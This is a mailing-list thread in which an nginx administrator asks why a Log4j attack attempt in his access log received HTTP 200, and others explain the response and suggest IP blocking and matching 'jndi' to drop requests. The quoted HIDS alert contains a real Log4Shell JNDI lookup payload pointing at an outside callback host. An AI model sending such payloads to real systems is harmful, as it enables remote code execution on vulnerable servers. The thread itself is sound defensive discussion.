Many thanks for sharing with me your experience.
In the next days, I will try to apply your know-how to my particular case.
The HIDS I installed is still blocking the attack attempts, but I have some
doubts about the “best practices” needed for the NGINX “200” answer.
Maxim Dounin kindly said that:
"As you can see from the log line, the request is to "/" with some
additional request arguments ("?sulgz=..."). As unknown request
arguments are usually ignored, it is no surprise that such a
request results in 200.”
Now, I only need to understand if I can ignore this event or I should do
something else.
Thank you,
Mauro
> On 29 Dec 2021, at 23:13, lists <li...@lazygranch.com> wrote:
>
> "get" is a html verb also known as method. Most URL requests are gets.
>
> https://www.w3schools.com/tags/ref_httpmethods.asp
>
> https://nordicapis.com/ultimate-guide-to-all-9-standard-http-methods/
>
> I just know the bare essentials and have web pages that look like the 90's
> era other than using a little HTML5.
>
> Having never used "parameters" I couldn't completely answer your initial
> question. The only thing I use after an URL is the # for anchors.
>
> I don't know what your relay is doing. However many implementations of nginx
> simply ban dubious IP space. You can also force a captcha. I use a low CPU
> power VPS for my sercer so I just ban dubious IP space. Firewalls are very
> kind to the CPU but use a lot of memory to hold the IP space designation and
> port information. At a minimum I would block all of AWS. I have about 40k
> different CIDRs I block. All hosting companies or VPS.
>
> The dumb hackers are simply spraying IP space. You will see the same message
> again and again. They are just bots.
>
> I only have two servers (VPS) and only one with web and email so I have the
> time to find hackers and block IP space. Once you block AWS the amount of
> hacking drops dramatically.
>
> I use nginx maps to search for "jndi" and then 444 the requests. I first made
> sure "jndi" didn't appear by accident in any pages I created.
>
> I have scripts to pull all the IPs for 444 returns from the access logs and
> feed them to a website to look up who controls the IP space. If it is a
> server or VPS the entire associated IP space gets banned using bgp.hp.net to
> find the CIDRs. I do this about every two to three weeks since I have so few
> hack attempts that get past the firewall. Maybe 200 that get past the
> blocking and 4 to 6 new servers to add to the list.
>
> Log4j has two IPs to investigate so I have to handle them by hand unless I
> can write a better script to get the return IP address. In two weeks I only
> had three IPs sending Log4j attacks.
>
> If you don't want to create your own list of shady IPs there are services
> that will feed your server firewall IPs to block in real time. I prefer to
> have total control.
>
>
>
>
>
> Original Message
>
>
> From: mauro.trid...@cmcc.it
> Sent: December 29, 2021 10:30 AM
> To: nginx@nginx.org
> Reply-to: nginx@nginx.org
> Subject: Re: [EXTERNAL] Help request about Log4j attack attempts and NGINX
> logs meaning
>
>
> Hi Justin,
>
> thank you very much for your help.
> Since I’m a newbie, I would like to ask you additional details in order to
> “fix” this behaviour (if it shouuld be fixed).
>
> What is the meaning of “GET /“? Does It mean that the attacker is trying to
> GET something from the / path of the server (sorry for my stupid question)?
> How can I check and change the current nginx configuration ?
>
> Thank you in advance,
> Mauro
>
>> On 29 Dec 2021, at 19:12, Slaughter, Justin D <justin.slaugh...@charter.com>
>> wrote:
>>
>> Nginx is returning a 200 because the request is a "GET /", and I am assuming
>> your nginx configurations allow GETs to "/".
>>
>> Justin
>>
>> On 29/12/2021, 10:20 AM, "nginx on behalf of Mauro Tridici"
>> <nginx-boun...@nginx.org on behalf of mauro.trid...@cmcc.it> wrote:
>>
>> CAUTION: The e-mail below is from an external source. Please exercise
>> caution before opening attachments, clicking links, or following guidance.
>>
>> Thank you very much for your reply. I really appreciated it.
>> I’ll wait for the final gurus feedback too.
>>
>> Mauro
>>
>>> On 29 Dec 2021, at 18:03, lists <li...@lazygranch.com> wrote:
>>>
>>> That IP space is certified shady. I detect the occasional hack from them.
>>> See
>>>
>>> https://krebsonsecurity.com/2019/08/the-rise-of-bulletproof-residential-networks/
>>>
>>> and
>>>
>>> https://wirelessdataspco.org/faq.php
>>>
>>> These wireless companies will do anything for money including leasing their
>>> IP space.
>>>
>>> I don't block the IP space since it could be from normal users. Plus plenty
>>> of hacking comes from actual wireless providers customers. But I am
>>> appalled highly profitable wireless providers lease ipv4 space to hackers
>>> for what is pocket change for them.
>>>
>>> I will leave it up to the gurus to parse the log.
>>>
>>>
>>>
>>>
>>>
>>>
>>> Original Message
>>>
>>>
>>> From: mauro.trid...@cmcc.it
>>> Sent: December 29, 2021 6:55 AM
>>> To: nginx@nginx.org
>>> Reply-to: nginx@nginx.org
>>> Subject: Help request about Log4j attack attempts and NGINX logs meaning
>>>
>>>
>>>
>>>
>>> Dear Users,
>>>
>>>
>>> I have an old instance of NGINX (v.1.10.1) running as proxy server on a
>>> dedicated hardware platform.
>>> Since the proxy service is reachable from internet, it is constantly
>>> exposed to cyber attacks.
>>> In my particular case, it is attacked by a lot of Log4j attack attempts
>>> from several malicious IPs.
>>>
>>>
>>> At this moment, an host intrusion detection system (HIDS) is running and is
>>> protecting the NGINX server: it seems it is blocking every malicious attack
>>> attempts.
>>> Anyway, during the last attack mail notification sent by the HIDS, I
>>> noticed that the NGINX server response was “HTTP/1.1 200” and I’m very
>>> worried about it.
>>> Log4j and Java packages are NOT installed on the NGINX server and all the
>>> servers behind the proxy are not using Log4j.
>>>
>>>
>>> Could you please help me to understand the reason why the NGINX server
>>> answer was “HTTP/1.1 200”!?
>>>
>>>
>>> You can see below the mail notification I received:
>>>
>>>
>>>
>>> Attack Notification.
>>> 2021 Dec 28 20:45:59
>>>
>>> Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
>>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
>>> Src IP: 166.137.252.110
>>> Portion of the log(s):
>>>
>>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET
>>> /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a}
>>> HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
>>>
>>>
>>> Thank you in advance,
>>> Mauro
>>> _______________________________________________
>>> nginx mailing list
>>> nginx@nginx.org
>>> http://mailman.nginx.org/mailman/listinfo/nginx
>>
>>
>> _______________________________________________
>> nginx mailing list
>> nginx@nginx.org
>> http://mailman.nginx.org/mailman/listinfo/nginx
>>
>> E-MAIL CONFIDENTIALITY NOTICE:
>> The contents of this e-mail message and any attachments are intended solely
>> for the addressee(s) and may contain confidential and/or legally privileged
>> information. If you are not the intended recipient of this message or if
>> this message has been addressed to you in error, please immediately alert
>> the sender by reply e-mail and then delete this message and any attachments.
>> If you are not the intended recipient, you are notified that any use,
>> dissemination, distribution, copying, or storage of this message or any
>> attachment is strictly prohibited.
>> _______________________________________________
>> nginx mailing list
>> nginx@nginx.org
>> http://mailman.nginx.org/mailman/listinfo/nginx
>
>
> _______________________________________________
> nginx mailing list
> nginx@nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx
> _______________________________________________
> nginx mailing list
> nginx@nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx
_______________________________________________
nginx mailing list
nginx@nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx
